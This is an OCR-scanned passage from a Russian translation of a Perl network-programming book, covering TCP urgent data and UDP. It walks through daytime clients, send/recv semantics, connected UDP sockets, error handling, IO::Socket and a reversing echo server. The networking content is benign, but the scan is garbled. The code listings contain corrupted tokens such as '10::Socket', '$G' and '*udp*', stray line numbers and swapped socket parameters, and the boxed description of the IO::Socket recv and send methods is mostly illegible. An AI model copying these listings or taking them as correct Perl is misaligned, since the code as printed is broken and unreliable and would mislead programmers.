его местонахождение в потоке данных с помощью функции sockatmark (), которая
позволяет отметить участок потока данных TCP как предназначенный для
специальной обработки. В примере сервера для генераций пародийных текстов срочные
данные применялись для обозначения участка потока данных, предназначенного для
уничтожения.
В связи с указанными ограничениями режима передачи срочных данных TCP
может потребоваться рассмотреть возможность использования варианта с двумя
отдельными сокетами: для обычной связи и первоочередных управляющих данных.
Такая организация взаимодействия процессов позволяет передавать и принимать
многобайтовые первоочередные сообщения, не прибегая к использованию функции
sockatmark () и не углубляясь в иные детали. Однако при этом возрастает сложность
программного обеспечения, поскольку число управляемых сокетов удваивается.
Глава 17. Срочные данные TCP
531
Глава \Щ
Протокол UDP
До сих пор рассматривались только те приложения, в которых используется
протокол TCP, и мало говорилось о протоколе UDP (User Datagram Protocol — Протокол
пользовательских дейтаграмм). Это связано с тем, что протокол TCP, как правило,
проще в использовании, более надежен и понятен для программистов, которые
привыкли работать с файлами и каналами. В Internet приложений на основе протокола
TCP больше (примерно в 10 раз), чем приложений, основанных на протоколе UDP.
Тем не менее, протокол UDP очень удобен для некоторых приложений и иногда
позволяет выполнять такие задачи, которые трудно или даже невозможно реализовать
в сетевой службе на основе TCP. В следующих нескольких главах дано краткое описание
протокола UDP, описана конструкция серверов на основе UDP и показано, как
использовать UDP для приложений широковещательной и многоадресной рассылки.
Клиент службы времени
Начнем описание этого протокола с сетевого клиента службы времени на основе
UDP, код которого приведен в сценарии udp_daytime.pl. Как было описано в
главах 1 и 3, сервер службы времени на основе TCP ожидает входящий запрос на
установление соединения и отвечает одной строкой, оканчивающейся символами CRLF,
которая содержит отметку времени и даты на компьютере сервера. Служба времени
UDP является аналогичной, но действует немного иначе, поскольку это— дейта-
граммная служба. Сервер службы UDP ожидает не входящие запросы на установление
соединения, а входящие дейтаграммы. Получив дейтаграмму, сервер проверяет адрес
отправителя, а затем передает по этому адресу ответную дейтаграмму, которая
содержит отметку текущего времени и даты. Никакого соединения не требуется.
Клиент принимает до двух параметров командной строки— имя хоста службы
времени, на который должен быть отправлен запрос, и номер порта, к которому
должно быть выполнено подключение. По умолчанию программа пытается
обратиться к серверу, работающему на локальном хосте, с использованием стандартного
номера порта службы времени (13). Ниже приведен типичный пример сеанса.
% udp_daytime_cli.pl wuarchxve.trustl.edu
Wed Aug 16 21:29:54 2000
Этот клиент не похож на программы TCP, с которыми мы уже знакомы. Полный
код программы клиента приведен в листинге 18.1.
532
Часть TV. Дополнительные темы
Листинг 18.1. Сценарий udp_dayt±me .pi позволяет узнать время
о
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/perl
# Файл: udp_daytime.pl
# Применение: udp_daytime.pl [хост] [порт]
use strict;
use Socket qw(:DEFAULT :crlf);
$/ = CRLF;
use constant DEFAULT_HOST => 'localhost'; # Интерфейс
# петли обратной связи
use constant DEFAULT_PORT => 'daytime'; # Служба времени
use constant MAX_MSG_LEN => 100;
my $host = shift || DEFAULT_HOST;
my $port = shift || DEFAULT_PORT;
my $protocol = getprotobyname(*udp*);
$port = getservbyname($port,*udp')
unless $port =~ /~\d+$/;
my $data;
socket(SOCK, AF_INET, SOCK_DGRAM, $protocol) or
die "socket() failed: $!";
my $dest_addr = sockaddr_in($port,inet_aton($host));
send(SOCK,"What time is it?",0,$dest_addr) or
die "sendO failed: $!";
recv(SOCK,$data,MAX_MSG_LEN,0) or
die "recv() failed: $!";
18: chomp($data);
19: print $data,"\n";
Проведем анализ программы.
Строки 1-5. Загрузка модулей. Выполнение сценария начинается с аключения строгой
проверки кода, а затем аызова стандартной библиотеки socket и ее констант с обозначением
конца строки. Переменная S/ устанавливается равной crlf, не потому, что выполняются
построчные операции чтения, а в связи с тем, что в конце сценария предусмотрен вызов
функции chcmp () для корректного удаления заключительных символов crlf.
Строки 6-8. Определение констант. Определены значения нескольких констант.
Константа defmjlt_host обозначает имя хоста, к которому должно быть выполнено подключение,
если он не указан в командной строке; в данном случае применяется адрес обратной связи
"locaihost". Константа default_port определяет порт, по которому будет обращаться
программа, если в командной строке не указано иное; это значение может представлять
собой номер порта или символическое имя службы. В качестве имени службы применяется
"daytime".
Передача и прием данных UDP происходит в виде отдельных сообщений. Константа
MAX_msg_len обозначает максимальный размер сообщения. Поскольку строки с отметками
времени имеют длину всего несколько символов, эту константу вполне можно установить
равной относительно небольшому значению 100 байт.
Строки 9, 10. Чтение параметров командной строки. Выполняется чтение параметров
командной строки в глобальные переменные Shost и Sport; если эти параметры не заданы,
используются значения по умолчанию.
Глава 18. Протокол UDP
533
Строки 11-13. Определение протокола и порта. Для определения номера протокола UOP
используется функция getprotobyname (), а для поиска номера порта службы времени
вызывается функция getservbyname (). Если пользователь указал непосредственно номер
порта, то последнее действие не выполняется. Объявляется пустая переменная sdata для
получения сообщения, переданного удаленным хостом.
Строка 14. Создание сокета. Создается сокет путем вызова встроенной функции socket О
языка Perl. Для обозначения домена используется константа af_inet, которая
предусматривает создание сокета Internet, для обозначения типа применяется константа sock_dgram,
обеспечивающая создание дейтаграммного сокета, а для обозначения протокола UOP берется
ранее полученный номер протокола.
В случае успешного выполнения функция socket () возвращает истинное значение и
присваивает дескриптор сокета дескриптору файла. В ином случае она возвращает значение
uncle f и вызывается функция die с сообщением об ошибке.
Строка 15. Создание адреса назначения. Последним подготовительным действием является
создание адреса назначения для исходящих сообщений. Вызывается функция inet_aton ()
для преобразования имени хоста в упакованную строку и выполняется упаковка ее вместе
с номером порта в структуру sockaddr_in с использованием функции с тем же именем.
Строка 16. Отправка запроса. Теперь у нас есть сокет и адрес назначения. Следующий этап
состоит в отпрааке на сервер сообщения, которое указывает, что в его услугах нуждается
клиент. С помощью службы времени можно послать любое сообщение (даже пустое), и сервер
в ответ сообщит текущее время суток.
Для отправки сообщения вызывается функция send (). Она принимает четыре параметра: имя
сокета, отправляемое сообщение, флажки сообщения и адрес назначения. В качестве
содержимого сообщения здесь используется строка "what time is it?", но содержание строки не
имеет значения. В качестве флажков сообщения передается О как указание, что должны быть
приняты значения по умолчанию. В качестве адреса назначения применяется адрес,
упакованный в структуре sockaddr_in, который был сформирован ранее.
Если сообщение было правильно поставлено в очередь для доставки, функция send О
возвращает истинное значение. В ином случае вызывается функция die с сообщением
об ошибке.
Строка 17. Получение ответа. Сообщение уже отправлено (или успешно поставлено в
очередь), поэтому программа переходит в состояние ожидания ответа с использованием функции
recv (). Как и при вызове send (), вызывая эту функцию, нужно указать несколько
параметров, в том числе сокет, переменную, в которой должны храниться полученные данные, и
числовое значение, которое указывает максимальную длину ожидаемого сообщения.
Если сообщение получено, функция recv () копирует его содержимое в переменную Sdata,
вплоть до max_msg_len байтов. В случае ошибки функция recv() возвращает значение
undef и программа завершается сообщением об ошибке. В ином случае она возвращает
упакованный адрес отправителя. В этом сценарии с адресом отправителя не выполняются какие-
либо действия, но мы найдем ему хорошее применение а примерах серверов, приведенных
в следующих разделах.
Строки 18,19. Вывод ответа. В конце сообщения удаляются символы crlf с помощью
функции chomp () и его содержимое выводится на стандартное устройство вывода.
Создание и использование сокетов UDP
Как показано в примере из предыдущего раздела, дейтаграммы UDP
отправляются и принимаются через сокеты. Однако в отличие от сокетов TCP, здесь не
выполняется подключение сокета с помощью функции connect () или прием
входящих запросов на установление соединения в результате вызова функции accept ().
Вместо этого можно начать передачу и прием сообщений через сокет сразу после
его создания.
534
Часть TV. Дополнительные темы
Создание сокета UDP
Для создания сокета UDP необходимо вызвать функцию socket (), указав
семейство адресов AFINET, тип сокета SOCK_DGRAM и номер протокола UDP. Константы
AF_I.NET и SOCK_DGRAM определены и экспортируются по умолчанию модулем
Socket, но для выборки номера протокола необходимо использовать вызов функции
getprotobyname ('udp'). Ниже показана общая схема использования встроенной
функции socket ().
socket(SOCK, AF_I.NET, SOCK_DGRAM, scalar getprotobyname("udp*))
or die "socket() failed: $!";
Функции send() и recv()
Сразу после создания сокет UDP можно использовать в качестве оконечной точки
связи. Для передачи дейтаграмм применяется функция send(), а для их приема —
функция recv (). До сих пор мы рассматривали эти функции в контексте отправки
и получения срочных данных TCP (глава 17). Для отправки дейтаграммы
предусмотрена следующая общая схема:
$bytes = send (SOCK,$message,$flags,$dest_addr);
Функция send () с использованием сокета SOCK отправляет данные сообщения,
содержащиеся в переменной $message, по адресу назначения, указанному параметром
$dest_addr. Параметр $f lags, который позволяет не только управлять отправкой
внеочередных данных TCP, но и корректировать специализированные параметры
маршрутизации, должен быть установлен равным 0. В качестве адреса назначения должен быть
указан упакованный адрес сокета, созданный функцией sockaddr_in (). Как и другие
адреса семейства AF_INET, этот адрес включает номер порта и IP-адрес назначения.
Функция send () возвращает число байтов, успешно поставленных в очередь для
доставки. Если по каким-то причинам сообщение не удалось поставить в очередь,
функция send() возвращает значение undef и устанавливает в переменной $ !
соответствующее сообщение об ошибке. Следует отметить, что положительный ответ,
полученный от функции send (), отнюдь не означает, что сообщение было успешно
доставлено или даже попало в сетевой канал связи. Успешный результат выполнения
этой функции свидетельствует лишь о том, что операционная система успешно
скопировала сообщение в локальный буфер передачи. Протокол UDP — ненадежен и
ничего не гарантирует.
Используя сокет для отправки сообщения по одному адресу назначения, программа
может сразу же переключиться и воспользоваться функцией s end () для отправки второго
сообщения по другому адресу назначения. В отличие от TCP, в протоколе UDP
отсутствуют долгосрочные связи между сокетом и вторым участником обмена данными.
Для получения сообщения UDP вызывается функция recv (), которая также
принимает четыре параметра. Для ее вызова используется следующая общая схема.
$sender = recv(SOCK,$data,$max_size,$flags);
В данном случае параметр $data представляет собой скаляр, который получит
содержимое сообщения, параметр $max_size обозначает максимальную длину
дейтаграммы, которую можно принять, а параметр $f lags снова должен быть установлен
равным 0. Вызов функции recv () блокируется до тех пор, пока не будет получена
дейтаграмма. После получения сообщения функция recv () возвращает его содержи-
Глава 18. Протокол UDP 535
мое в параметре $data, а в качестве результата своего выполнения возвращает
упакованный адрес отправителя. Адрес отправителя указан для того, чтобы можно было
отправить ему ответ.
Если полученная дейтаграмма превышает по длине значение $max_size, она
усекается. Если возникают какие-либо ошибки, функция recv () возвращает значение
undef и устанавливает переменную $ ! равной соответствующему коду ошибки.
Те, кто знаком с API-интерфейсом сокетов языка С, должны знать, что функция
recv () языка Perl фактически реализована на основе вызова recvf rom () языка С,
а не самого вызова recv ().
Привязка сокета UDP
По умолчанию операционная система присваивает новому сокету UDP
неиспользуемый временный номер порта и безразличный IP-адрес INADDR_ANY. В клиентской
программе можно принять это значение по умолчанию, поскольку при передаче
клиентом запроса серверу дейтаграмма UDP этого запроса содержит обратный адрес, что
позволяет серверу вернуть ответ.
Однако в серверном приложении обычно требуется выполнить привязку сокета
к стандартному порту с тем, чтобы клиент мог к нему обратиться. Для этого должна
быть вызвана функция bind () таким же образом, как и при работе с сокетом TCP.
Например, для привязки сокета UDP к порту 8000 можно применить следующий
фрагмент кода.
my $local_addr = sockaddr_in(8000,INADDR_ANY);
bind (SOCK,$local_addr) or die "bind(): $!";
После того как выполнена привязка сокета UDP, многие системы не позволяют
отменить эту операцию и привязать его к другому адресу.
Подключение сокета UDP
Хотя на первый взгляд эта операция может показаться бессмысленной, существует
возможность вызвать функцию connect () с сокетом UDP. Фактически никакая попытка
подключения не предпринимается; система сохраняет адрес назначения, указанный при
вызове функции connect (), и использует его при всех последующих вызовах функции
send () .Этот адрес может быть получен с помощью функции getpeername ().
После подключения сокета UDP с помощью функции connect () функция send ()
принимает только первые три параметра. Не следует пытаться указывать адрес
назначения в качестве четвертого параметра, поскольку при этом будет получено
сообщение об ошибке "invalid argument". Такую конструкцию удобно применять
в клиентских программах, предназначенных для взаимодействия только с одним
сервером UDP. После подключения сокета в клиентской программе можно многократно
вызывать функцию send () для отправки дейтаграмм на один и тот же сервер, не
указывая повторно адреса назначения.
Для смены адреса назначения можно еще раз вызвать функцию connect () с
новым адресом. Эквивалентный вызов этой функции на языке С позволяет разорвать
связь, установленную предыдущим вызовом функции connect (), вызвав ее еще раз
с адресом NULL, однако в языке Perl не предусмотрен удобный доступ к этому
функциональному средству.
536
Часть IV. Дополнительные темы
Важным результатом подключения дейтаграммного сокета является то, что такой
сокет может после этого получать сообщения только от указанного второго участника
обмена данными. Сообщения, отправленные в этот сокет из других хостов или
портов на хосте второго участника обмена данными, будут игнорироваться. Это
позволяет немного повысить уровень защиты клиентской программы. Однако подключение
дейтаграммного сокета не меняет его основных свойств, связанных с особенностями
протокола UDP, — он ориентирован на сообщения и ненадежен.
В серверах, которые обычно должны принимать и передавать сообщения многим
клиентам, как правило, не следует подключать сокеты.
Ошибки протокола UDP
Ошибки протокола UDP встречаются довольно редко, поскольку он не обеспечивает
синхронизации действий, выполняемых в связи с доставкой сообщений. Достаточно
представить себе, что происходит, когда функция send () используется для передачи
дейтаграммы UDP на удаленный хост, на котором отсутствует программа,
принимающая запросы из указанного порта. В этом случае при использовании протокола TCP
после вызова функции connect () будет получена ошибка ECONNREFUSED (в соединении
отказано). Аналогичным образом сообщения о любых проблемах на удаленном конце
соединения, например об останове сервера, будут поступать синхронно, т.е.
одновременно с выполнением следующей операции чтения или записи в сокет.
Протокол UDP работает совсем по-другому. Значение, возвращаемое из
функции send (), не позволяет узнать о том, было ли доставлено сообщение на
удаленный хост, поскольку функция send() возвращает истинное значение,
которое свидетельствует только о том, что сообщение успешно поставлено в очередь
операционной системой. В том случае, если ни один сервер не принимает
запросы по указанном адресу назначения, а клиент продолжает вызывать функцию
recv (), вызов блокируется на неопределенно долгое время, поскольку от хоста
никогда не поступит ответ .
Асинхронные сообщения об ошибках
Существует один способ получить некоторую информацию об ошибках связи UDP.
Если сокет UDP подключен, то он может возвратить асинхронные сообщения об
ошибках. Это — сообщения об ошибках, которые возникают в какой-то момент после
отправки дейтаграммы. К ним относятся ошибки ECONNREFUSED, сообщения от
маршрутизаторов о том, что хост недоступен, а также сообщения о других проблемах.
Асинхронные сообщения об ошибках не распознаются функцией send (),
поскольку она всегда сообщает об успехе, если дейтаграмма была успешно поставлена
в очередь. Однако после возникновения асинхронного сообщения об ошибке при
следующем вызове функция recv () возвращает значение undef и устанавливает
переменную $! равной соответствующему сообщению об ошибке. Существует также
возможность выбрать и очистить асинхронное сообщение об ошибке, вызвав
функцию getsockopt () с командой SO_ERROR.
Безусловно, такая ситуация может также возникнуть, если при передаче будет ■утерян запрос клиента
или ответ сервера.
Глава 18. Протокол UDP
537
Для того чтобы определить, имеется ли асинхронное сообщение об ошибке,
можно использовать функцию select () с сокетом UDP. Сокет будет обозначен как
готовый для чтения и функция recv () не заблокируется.
Реализация протокола UDP в системах Linux немного отличается от описанной
здесь. В таких системах асинхронные сообщения об ошибках всегда возвращаются
независимо от того, подключен ли сокет. Кроме того, если сеть работает достаточно
быстро, иногда можно также обнаружить и передать сообщения об ошибках доставки
дейтаграмм с помощью функции send ().
Утерянные пакеты и фрагментация
Наиболее распространенные ошибки UDP обнаружить не так легко. Как описано
в главе 3, сообщения UDP могут теряться во время передачи или поступать в порядке,
отличном от того, в каком они были отправлены. Протокол UDP не предусматривает
управления потоком данных, а каждый хост имеет лишь ограниченное буферное
пространство для приема дейтаграмм, поэтому при получении хостом большего объема
дейтаграмм, чем может прочитать приложение, лишние дейтаграммы уничтожаются
без дополнительных сообщений.
Теоретически дейтаграммы могут иметь длину до 65535 байт, но на практике это
значение ограничено максимальной единицей передачи данных (MTU— maximum
transmission unit) в сети. Дейтаграмма, превышающая эти размеры, разбивается на
несколько частей, а операционная система получателя пытается повторно ее собрать.
Если одна из частей утеряна при передаче, то отбрасывается вся дейтаграмма.
В сетях Ethernet единица передачи данных MTU составляет 1500 байт. Однако
в некоторых линиях связи, через которые может пройти дейтаграмма, путешествуя
по Internet, величина MTU имеет размер всего 576 байт. По этой причине лучше
всего применять сообщение UDP, не превышающее этого предела.
При условии, что дейтаграмма будет доставлена, целостность ее содержимого
гарантируется контрольной суммой, которая в соответствии с протоколом TCP/IP
помещается в каждый пакет (если в приложении не была специально отменена опция
применения контрольной суммы UDP).
Применение модуля IO::Socket для
работы с сокетами UDP
Вполне естественно, что в модуле 10: : Socket предусмотрена поддержка сокетов
UDP. Для создания сокета, применяемого для отправки исходящих сообщений, нужно
вызвать метод 10::Socket: :INET->new() лишь с параметром Proto,
установленным равным "udp".
my $sock = 10::Socket::INET->new(Proto=>'udp") or die $G;
Для создания сокета, привязанного к стандартному локальному порту или адресу
интерфейса, необходимо указать один из параметров LocalAddr или LocalPort либо оба.
my $sock = IO::Socket::lNET->new(Proto => 'udp',
LocalAddr => 12000,
LocalPort => 'localhost"
) or die $G;
538
Часть IV. Дополнительные темы
Можно также вызвать функцию connect () с этим сокетом и установить
применяемый по умолчанию в функции send () адрес назначения, указав в вызове метода
new () параметр PeerAddr и необязательный параметр PeerPort.
my $sock = 10::Socket::INET->new(Proto =>'udp',
PeerAddr=>'wuarchive.wustl.edu:daytime(17)'
) or die $G;
В модуле 10: : Socket реализованы также методы send () и recv (). Они
являются оболочками одноименных встроенных функций с некоторыми
усовершенствованиями. Одним из этих усовершенствований является то, что параметр $f lags и в
методе send (), и recv() стал необязательным. (В соответствующих встроенных
функциях он является обязательным.) Кроме того, в вызовах метода recv () запоминается
адрес источника последней (по времени) полученной дейтаграммы. Значение этого
адреса можно выбрать с использованием метода peername (), peeraddr (),
peerport() и peerhost().
$?eer_addr - $eocket->cecvt$data,$len?t^[,9fla7B])
Метод recv () удаляет следующую доступную дейтаграмму OOP из приемной очереди и
сохраняет tie, аплоть до длины Sltnyth Сайтов,.в переменной S^ata. 8 случае'успешней; .выполнения
этот метод возвращает упакованный аДрес отправителя дейтаграммы, {3 ином случае сн
возвращает значение undo l «устанавливаетв переменной-$! код ошибки Здесь параметр s 1isg_ ики-ет тот
же смысл, чтс>1 во встроенной функции, vulo умолчания- принимается рзенбм 0. если он нь указан
Jbytes » 3Bockat->Bend(8data[ ,Sflags[ ,$deet_ad'lr]])
Метод son^O отправляет чердз еркет содержимое переменной Statn и возвращает числе байтов.
успеимо поставленных е очередь. Параметры Sfiags и Sdest, л.11г именит тот же смысл, что и во
встроенной функции scrvЛ () ОДр£метр S f-ags являетс^неоОязатвльным и, если он не указан, принимается гь
умолчанию равным 0:/^.подкл!оченньксокетое параметр $'4.<..st_a3dr не должен использоваться.
Для удобства предусмотрено следующее. Если неподключенный сокет уже использовался для
отправки Пакета и параметр $dcst_a id г явно не указан, то в объекте сокетя по умолчанию в
качестве адреса назначения для'метода send О будет Примениться адрес, указанный в предыдущем
вызове этого метода.
Разработка клиента службы времени
с использованием метода Ю::Socket
Ниже показана общая схема использования объектно-ориентированных средств
работы с протоколом UDP на примере клиента службы времени, основанного на применении
модуля 10: : Socket. Кроме того, в этом примере показано, как выполнить в клиентской
программе подключение сокета UDP для повышения удобства использования метода
send (). Код этой программы, udp_daytlme_cli2 .pi, приведен в листинге 18.2.
Листинг 18.2. Клиент службы времени UDP, созданный с использованием
МОДУЛЯ IO: : Socket
0: #!/usr/bin/perl
1: # Файл: udp_daytime_cli2.pl
2: use strict;
3: use 10::Socket qw(:DEFAULT :crlf);
4: use constant MAX MSG LEN => 100;
Глава 18. Протокол UDP
539
5: $/ = CRLF;
6: my $data;
7: my $host = shift || 'localhost';
8: my $port = shift || 'daytime';
9
10
.11
my $sock = 10::Socket::INET->new(Proto => 'udp',
PeerHost => $host,
PeerPort => $port) or die $G;
12: $sock->send('Yo!') or die "send() failed: $!\n";
13: $sock->recv($data,MAXJMSG_LEN) or die "recvO failed: $!\n";
14: chomp($data);
15: print $datat"\n";
Проведем анализ программы.
• Строки 1-7. Подготовка.сценария к работе. Загружается модуль io:: Socket; вызываются
применяемые по умолчанию константы сокета и константы с обозначениями конца строки.
Глобальная переменная с обозначением конца входных записей устанавливается равной
crlf, и из командной строки считываются имя хоста назначения и номер порта.
• Строки 8-10. Создание сокета. Для создания нового сокета вызывается метод
Ю::Socket:: iNET->new(). В качестве значения параметра Proto указано "udp" для
перекрытия значения, предусмотренного в модуле Ю:: Socket по умолчанию. Кроме того, методу
new () передаются параметры PeerHost и PeerPort, в результате чего он подключает сокет
с помощью функции connect () после его создания.
• Строки 11,12. Отправка запроса и получение ответа. Для отправки запроса вызывается
метод send () сокета. Затем программа блокируется при выполнении функции recv() до тех
пор, пока не будет получен ответ. В случае успешного выполнения этого метода ответ
копируется в переменную $data.
• Строки 13-15. Вывод ответа. Из ответа удаляются символы crlf с помощью функции
chomp () и он выводится на стандартное устройство вывода.
После вызова на выполнение этот пересмотренный сценарий работает точно так
же, как и предыдущая версия.
% udp_daytime_cli2.pl wuarchxve.tfustl.edu
Thu Aug 17 11:00:30 2000
Отправка запросов на несколько хостов
Одной из особенностей протокола UDP является то, что один и тот же сокет
может применяться для отправки и получения сообщений от нескольких хостов. В
качестве иллюстрации этого ниже приведена еще одна версия клиента службы времени,
которая позволяет запрашивать время на нескольких хостах.
Этот вариант клиентского сценария предусматривает чтение списка имен хостов
из командной строки и отправку на каждый из них запроса к службе времени. Затем
этот сценарий входит в цикл, в котором повторно вызывает метод recv () для чтения
ответов, полученных от серверов. Выполнение цикла не завершается до тех пор, пока
число полученных ответов не будет равным числу отправленных запросов или пока
не истечет заранее установленный тайм-аут. После получения каждого ответа клиент
выводит имя удаленного хоста и возвращенную им отметку времени. Код данной
версии клиента службы времени, udp_daytime_multi.pl, приведен в листинге 18.3.
540
Часть IV. Дополнительные темы\
Листинг 18.3. Эта программа клиента службы времени может обращаться
к нескольким хостам
0: #!/usr/bin/perl
1: # Файл: udp_daytime_multi.pl
14
15
16
17
18
19
20
22
23
24
25
26
27
28
# Применение: udp daytime_multi.pl хост! хост2 хостЗ.
use strict;
use 10::Socket qw(:DEFAULT :crlf);
use constant MAX_MSG_LEN => 100;
use constant TIMEOUT => 10; # Время ожидания всех
# ответов - 10 с
7: $/ = CRLF;
8: $SIG{ALRM} =
sub { die "timed out before receiving all responses\n" };
9: my $sock = IO::Socket::INET->new(Proto => 'udp') or die $G;
10: my $port = getservbyname('daytime*,'udp*);
11: my $host_count =0;
12: while (my $host = shift GARGV) {
13: my $dest = sockaddr in($port,inet aton($host));
if ($sock->send('Yo!',0,$dest)) {
warn "sent to $host...\n";
$host_count++;
} else {
warn "$host: $!\n";
}
}
21: warn "\nWaiting for responses...\n";
alarm(TIMEOUT);
while ($host_count— > 0) {
my $daytime;
unless ($sock->recv($daytime,MAX_MSG_LEN)) {
warn $!,"\n";
next;
}
29: my $hostname =
gethostbyaddr($sock->peeraddr,AF_INET) II $sock->peerhost;
30: chomp($daytime);
31: print "$hostname: $daytime\n";
32: }
33: alarm(O);
Проведем анализ программы.
• Строки 1-7. Инициализация сценария. Вызывается модуль Ю:: Socket со своими
константами. Снова объявлена константа nax_nsg_len и определен тайм-аут 10 с для получения
всех ответов. Как и првжде, разделитвль входных записей устанавливается равным crlf.
Глава 18. Протокол UDP
541
• Строка 8. Установка обработчика сигнала. Для установки допустимого интервала времени,
в течение которого могут быть получены ответы, применяется функция alarm (), поэтому
устанавливается обработчик сигнала alrm, который просто вызывает функцию die с
соответствующим сообщением.
• Строка 9. Создание сокета. Вызывается мвтод Ю::Socket::iNET->new() с параметром
Proto, равным "udp", для создания сокета UDP. Поскольку адрес назначения будет
указываться в методе send () и нв требуется выполнение модулем Ю:: Socket автоматического
подключения с помощью функции connect (), параметры PeerPort или PeerAddr не заданы.
• Строка 10. Поиск порта службы времени. Выполняется поиск номера порта для версии UDP
службы времени с использованием функции getservbyname ().
• Строки 11-20. Отправка запроса всем хостам. Теперь запрос направляется каждому хосту,
указанному в командной строке. Для преобразования имени каждого хоста в упакованный
IP-адрес применяется функция inet_aton (), а с помощью функции sockaddr_in ()
создается соответствующий адрес назначения.
Теперь происходит отправка запроса на сервер службы времени, работающий на указанном
хосте. Как и прежде, конкретное содержание запроса не имеет значения. Если метод send ()
указывает, что сообщение было успешно поставлено в очередь, наращивается счетчик
Shcst_ccunt. В ином случае вызывается предупреждающее сообщение об этой ошибке.
• Строки 21-32. Ожидание ответов. Теперь программа переходит в состояние ожидания на
указанный константой timeout период (в секундах) до тех пор, пока не поступят все ответы. При
получении всех ожидаемых ответов выход из цикла происходит преждевременно. Для установки тайм-аута
вызывается функция alarm (), и программа входит в цикл, при каждом проходе по которому
уменьшается значение переменной $host_count. В теле цикла вызывается метод recv (). Если метод
recv() возвращает ложное значение, это значит, что возникла ошибка, поэтому выводится
содержимое переменной $! и происходит переход к следующей итерации цикла.
Метод recv () в случае успешного выполнения помещает полученное сообщение в переменную
Sdaytime. Теперь предпринимается попытка определить имя хоста отправителя только что
полученного сообщения. Напомним, что в модуле Ю::Socket: :INET предусмотрено удобное
средство — запоминание адреса второго участника обмена данными, полученного при
последнем (по времени) вызове метода recv(). Выполняется выборка этого адреса путем вызова
функции peeraddr () и передача его функции gethostbyaddr () для преобразования в
доменное имя. Если выполнение функции gethostbyaddr () оканчивается неудачей, вызывается
метод peerhost () сокета для преобразования упакованного адреса другого участника обмена
данными в строку IP-адреса в виде четырех чисел, разделенных точками.
Из переменной Sdaytime удаляются заключительные символы crlf, а затем выводится
отметка времени и имя хоста, который ее сообщил.
■ Строка 33. Отмена действия функции alarm (). В принципе, действие этой функции
заканчивается после выхода из цикла. Выполнение операции отмены ее действий не является
строго необходимым, поскольку так или иначе немедленно происходит выход из программы.
Ниже показаны результаты, полученные автором после применения этого
клиентского сценария для доступа к нескольким компьютерам, расположенным в разных
частях света. Обратите внимание, что от одного из компьютеров получено отложенное
сообщение "Connection refused", но нелегко определить, какой из них выработал это
сообщение об ошибке (кроме как по методу исключения). И наконец, обратите
внимание, что ответы поступили не в том порядке, в каком были отправлены запросы!
% udp_daytime_multi.pl sunsite.auc.dk rtfm.mit.edu
wuarchive.wustl.edu prep.ax.mit.edu
sent to sunsite.auc.dk...
sent to rtfm.mit.edu...
sent to wuarchive.wustl.edu...
sent to prep, ai .mit.edu...
Waiting for responses...
PENGUIN-LUST.MIT.EDU: Thu Aug 17 05:57:50 2000
wuarchive.wustl.edu: Thu Aug 17 04:57:52 2000
Connection refused
sunsite.auc.dk: Thu Aug 17 11:57:54 2000
542
Часть IV. Дополнительные темъЧ
Несмотря на различия часовых поясов, три компьютера сообщили одинаковое
время с отклонением в несколько секунд. Вполне вероятно, что на них работают
серверы XNTP, в которых применяется протокол синхронизации часов с авторитетным
источником, основанный на протоколе UDP.
Серверы UDP
Серверы UDP, как правило, имеют более простую конструкцию по сравнению со
своими аналогами, работающими по протоколу TCP. Типичная программа сервера
UDP представляет собой простой цикл, который принимает входящее сообщение от
клиента, обрабатывает его и передает ответ. При каждом проходе по этому циклу
сервер может обрабатывать запросы от разных клиентов.
Поскольку долгосрочные отношения между клиентом и сервером отсутствуют, нет
необходимости управлять соединениями, обеспечивать одновременную работу
нескольких клиентов или долго хранить информацию о состоянии. Однако по той же
причине сервер UDP должен обеспечивать быструю обработку каждой транзакции,
поскольку в ином случае он задержит в очереди запросы, ожидающие ответа.
Серверы UDP будут рассматриваться более подробно в главе 19. В настоящей главе
описан очень простой пример пары клиент/сервер UDP.
Инвертирующий эхо-сервер UDP
Для данного примера будет повторно реализован инвертирующий эхо-сервер,
описанный в главе 4 (листинг 4.2). Напомним, что он считывает строки ввода из со-
кета, переворачивает их так, что первый символ становится последним, а затем
отправляет обратно. Код такого сервера приведен в листинге 18.4.
Листинг 18.4. Инвертор щий эхо-се • вер UDP
#!/usr/local/bin/perl
# Файл: udp_echo_se rv.р1
# Применение: udp_echo_serv.pl [порт]
use strict;
use 10::Socket;
use constant MY_ECH0_P0RT => 2007;
use constant MAX MSG LEN => 5000;
7: my $port = shift I I MY_ECH0_P0RT;
8: $SIG{,INT'} = sub { exit 0 };
9: my $sock = 10: : Socket:: INET->new(Proto=>'udp',
10: LocalPort=>$port) or die $G;
11
12
13
14
15
my ($msg_in,$msg_out);
warn "servicing incoming requests....\n";
while (1) {
next unless $sock->recv($msg_in,MAX_MSG_LEN);
my $peerhost =
Глава 18. Протокол UDP
543
gethostbyaddr($sock->peeraddr,AF_INET) || $sock->peerhost;
16: my $peerport = $sock->peerport;
17: my $length = length($msg_in);
18: warn "Received $length bytes from [$peerhost,$peerport]\n";
19
20
21
$msg_out = reverse $msg_in;
$sock->send($msg_out) or die "send(): $!\n";
}
22: $sock->close;
Проведем анализ программы.
Строки 1-7. Инициализация модуля. Загружается модуль Ю:: Socket и инициализируются
константы. Константа ny_echo_port должна быть установлена равной неиспользуемому
номеру порта системы. Предусмотрена возможность изменить номер порта с использованием
параметра командной строки. Если этот параметр задан, он извлекается и сохраняется в
переменной Sport.
Строка 8. Установка обработчика int. Устанавливается обработчик INT с тем, чтобы иметь
возможность корректно завершить работу сервера путем нажатия клавиши прерывания.
Пользователи системы Microsoft Windows должны закомментировать эту строку, чтобы исключить
появление ошибок службы Dr. Watson.
Строки 9, 10. Создание сокета. Вызывается метод io: :Socket: :iNET->new() для
создания сокета UDP, привязанного к порту, который указан в командной строке. Для привязки
к нужному порту должен быть указан параметр Locaiport, но, как и в случае сокетов TCP, нет
необходимости явно указывать параметр LocalAddr. Модуль Ю::Socket: :INET
предусматривает использование IP-адреса inaddr_any, который позволяет сокету получать сообщения
по любому из сетевых интерфейсов хоста.
Строки 11-21. Главный цикл. Профамма входит в бесконечный цикл. При каждом проходе по
циклу вызывается метод recv() сокета и полученное сообщение копируется в переменную
$msg_in. Если по каким-то причинам возникает ошибка, происходит переход к следующей
итерации цикла.
После приема сообщения вызывается метод peeraddr () сокета для выборки упакованного
адреса отправителя и, как прежде, предпринимается попытка преобразовать его в доменное
имя хоста. Если эта попытка оканчивается неудачей, выполняется выборка IP-адреса другого
участника обмена данными в форме четырех чисел, разделенных точками. Вызов метода
peerport () позволяет получить номер порта отправителя. На стандартное устройство
